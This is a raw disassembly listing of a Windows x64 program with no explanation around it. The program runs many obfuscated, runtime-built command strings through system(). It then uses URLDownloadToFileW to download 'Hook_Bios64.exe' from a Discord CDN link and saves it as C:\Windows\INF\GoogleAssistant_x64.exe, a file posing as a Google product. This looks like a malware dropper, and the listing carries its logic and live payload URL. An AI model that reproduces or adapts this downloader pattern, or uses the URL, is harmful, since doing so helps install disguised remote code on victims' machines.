call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059b60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059ce0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059e60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059fc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a120
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a230
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a320
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a400
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a4c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a570
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a650
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a7c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a900
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005a9c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005aa80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ab50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ac20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ad00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ae10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005aee0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005afa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b060
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005b180
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b1e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b330
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b3b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b420
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005b4a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b570
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b620
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b6e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b780
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b840
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005b980
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ba90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005bbb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005bc50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005bcf0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005bd90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005be40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005bf30
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c040
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005c160
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c1c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c280
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c330
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c490
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c5b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c6d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c7b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c830
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005c9a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cb10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cbd0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ccb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cd80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ce60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cf10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cf80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cd80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058c40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005cff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d160
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d2d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d490
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d620
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d790
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005d910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005da80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005db70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005dc50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005dd30
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005de90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e040
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e1d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:Windows
lea rcx, [rbp + 0x3f0]
call fcn.14004f1b0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e3a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e430
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e590
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e680
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e770
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e890
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e950
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ea30
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005eae0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005eb90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005ec80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005edb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005eef0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f070
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f180
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f290
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f3a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.INF_
lea rcx, [rbp + 0x3d0]
call fcn.14004f1b0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f520
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x3b0]
call fcn.14004f7e0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f6a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14011fd98]
lea rcx, [rbp + 0x390]
call fcn.14004f1b0
nop
lea rdx, [0x14011fda0]
lea rcx, [rbp + 0x330]
call fcn.14004f1b0
nop
lea rdx, [0x14011fd6c]
lea rcx, [rbp + 0x370]
call fcn.14004f1b0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f820
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.GoogleAssistant_x64
lea rcx, [rbp + 0x350]
call fcn.14004f1b0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005f9a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005fab0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005fb90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005fc60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005fd20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005fdd0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005feb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x50]
call fcn.14004f7e0
nop
lea r8, [rbp + 0x370]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.14004f780
nop
lea r8, [rbp + 0x330]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.14004f780
nop
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x50]
call fcn.14004f1a0
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060010
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x4b0]
call fcn.14004f7e0
nop
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:WindowsINFGoogleAssistant_x64.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_932378363832729623_940408579574358056_Hook_Bios64.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060170
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060230
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060300
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400603d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400604e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400605c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060690
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
